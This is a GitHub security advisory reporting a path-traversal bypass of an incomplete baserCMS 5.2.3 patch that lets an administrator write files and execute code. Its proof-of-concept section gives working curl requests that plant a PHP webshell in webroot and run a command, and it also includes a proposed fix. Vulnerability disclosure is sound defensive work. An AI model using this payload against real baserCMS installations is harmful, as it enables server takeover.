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A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: < 5.3.0
Patched in 5.3.0
Details
The security patch introduced in baserCMS 5.2.3 to address CVE-2026-30940 / GHSA-c5c6-37vq-pjcq is incomplete. The patch added a realpath()-based directory traversal check in BcThemeFileService::getFullpath(), but the check is entirely skipped when realpath($baseDir) returns false — which occurs whenever the target subdirectory does not physically exist on disk.
An authenticated administrator can bypass the patch by supplying a type value (e.g., js) that maps to a non-existent directory in the theme. The absence of the directory causes realpath() to return false, the validation block is skipped, and the raw path parameter containing ../ sequences is returned unvalidated. This enables arbitrary file write and remote code execution (RCE) — the exact same impact as the original CVE.
This vulnerability was verified exploitable on baserCMS 5.2.3 (the "patched" version of CVE-2026-30940).
The vulnerability exists in BcThemeFileService::getFullpath() at plugins/bc-theme-file/src/Service/BcThemeFileService.php lines 70–82:
public function getFullpath(string $theme, string $plugin, string $type, string $path)
{
// ...build $baseDir and $fullPath from $theme, $type, $path...
$baseDir = $viewPath . $type . DS; // e.g. .../BcThemeSample/webroot/js/
$fullPath = $baseDir . $path; // e.g. .../webroot/js/../../../../webroot/
$resolvedBase = realpath($baseDir);
if ($resolvedBase !== false) { // ← BYPASS: entire block skipped when dir absent
$resolvedBase = rtrim($resolvedBase, DS) . DS;
$targetDir = realpath(dirname($fullPath));
if ($targetDir === false) {
$targetDir = $this->normalizePath(dirname($fullPath));
}
if (!str_starts_with(rtrim($targetDir, DS) . DS, $resolvedBase)) {
throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));
}
}
return $fullPath; // ← Returns unvalidated path when realpath returns false
}
Root cause — the bypass condition:
realpath($baseDir) result | Behavior |
|---|---|
| Valid path string (dir exists) | Validation runs → ../ traversal blocked ✓ |
false (dir does not exist) | Validation skipped entirely → ../ traversal allowed ✗ |
Difference from CVE-2026-30940 (original bug):
| CVE-2026-30940 (≤ 5.2.2) | This bypass (5.2.3) | |
|---|---|---|
| Validation | None at all | realpath() check — but conditional |
type needed | Any valid type (layout, cell, …) | Must map to a non-existent subdirectory |
path blocked | Never | Only when target dir already exists |
| Root cause | Missing validation | if ($resolvedBase !== false) skips false case |
Prerequisites:
USE_CORE_ADMIN_API=true in .envStep 1 — Login and obtain JWT token:
curl -s -X POST "http://localhost/baser/api/admin/baser-core/users/login.json" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"password"}'
# Response: {"access_token":"eyJ0eXA...","refresh_token":"eyJ0eXA..."}
Step 2 — Verify bypass condition (webroot/js/ must not exist):
The bypass requires type=js to map to a non-existent directory. Confirm:
# webroot/js/ does NOT exist → realpath() returns false → validation SKIPPED
ls plugins/BcThemeSample/webroot/
# Expected output: css img (no js/)
Step 3 — Exploit: write PHP webshell directly to webroot:
Path calculation from baseDir = .../BcThemeSample/webroot/js/:
js/ (1 up) → webroot/webroot/ (2 up) → BcThemeSample/BcThemeSample/ (3 up) → plugins/plugins/ (4 up) → /var/www/html/ + webroot/../../../../webroot/ → /var/www/html/webroot/TOKEN="eyJ0eXA..." # from step 1
curl -s -X POST "http://localhost/baser/api/admin/bc-theme-file/theme_files/add.json" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"theme": "BcThemeSample",
"plugin": "",
"type": "js",
"path": "../../../../webroot/",
"base_name":"rce_direct",
"ext": "php",
"contents": "<?php echo shell_exec($_GET[\"c\"]); ?>"
}'
# Response: HTTP 200 {"message":"ファイル「rce_direct.php」を作成しました。",...}
Step 4 — Execute RCE:
curl "http://localhost/rce_direct.php?c=id"
# Output: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
Verified output (Docker, baserCMS 5.2.3):
=RCE_DIRECT=uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
An authenticated administrator can achieve remote code execution by writing an arbitrary PHP file to any directory accessible by the web server — including webroot/, config/, or tmp/. This is the identical impact as CVE-2026-30940, rendering the 5.2.3 patch ineffective.
The vulnerability is particularly significant because:
webroot/ (directly HTTP-accessible), config/ (application configuration), or any other directory writable by the PHP process.type values (e.g., font, audio, any arbitrary string) restores the bypass condition.CVSS v3.1: AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H — Score: 7.2 (High)
Same as CVE-2026-30940 — attack complexity is unchanged by the incomplete patch.
The patch must validate the path unconditionally, regardless of whether $baseDir exists on disk. Replace the realpath()-conditional block with normalizePath() (already defined in the same class):
// CURRENT (vulnerable — skips validation when $baseDir does not exist)
$resolvedBase = realpath($baseDir);
if ($resolvedBase !== false) {
// ... validation only runs here ...
}
return $fullPath;
// FIXED — always validate using normalizePath()
$normalizedBase = rtrim($this->normalizePath($baseDir), DS) . DS;
$normalizedTarget = rtrim($this->normalizePath(dirname($fullPath)), DS) . DS;
if (!str_starts_with($normalizedTarget, $normalizedBase)) {
throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));
}
return $fullPath;
Additionally, the path and ext parameters should be validated at the API controller layer:
// In ThemeFilesController — validate before calling getFullpath()
if (preg_match('/\.\./', $data['path'])) {
throw new BcException('Invalid path parameter.');
}
if (!preg_match('/^[a-zA-Z0-9]+$/', $data['ext'])) {
throw new BcException('Invalid extension.');
}
plugins/bc-theme-file/src/Service/BcThemeFileService.php — getFullpath(), lines 70–82plugins/bc-theme-file/src/Form/ThemeFileForm.php — _execute(), lines 64–69plugins/bc-theme-file/src/Controller/Api/Admin/ThemeFilesController.php — add(), lines 38–60Reported by Nguy Minh Tuan of Sun* Cyber Security Research Team.
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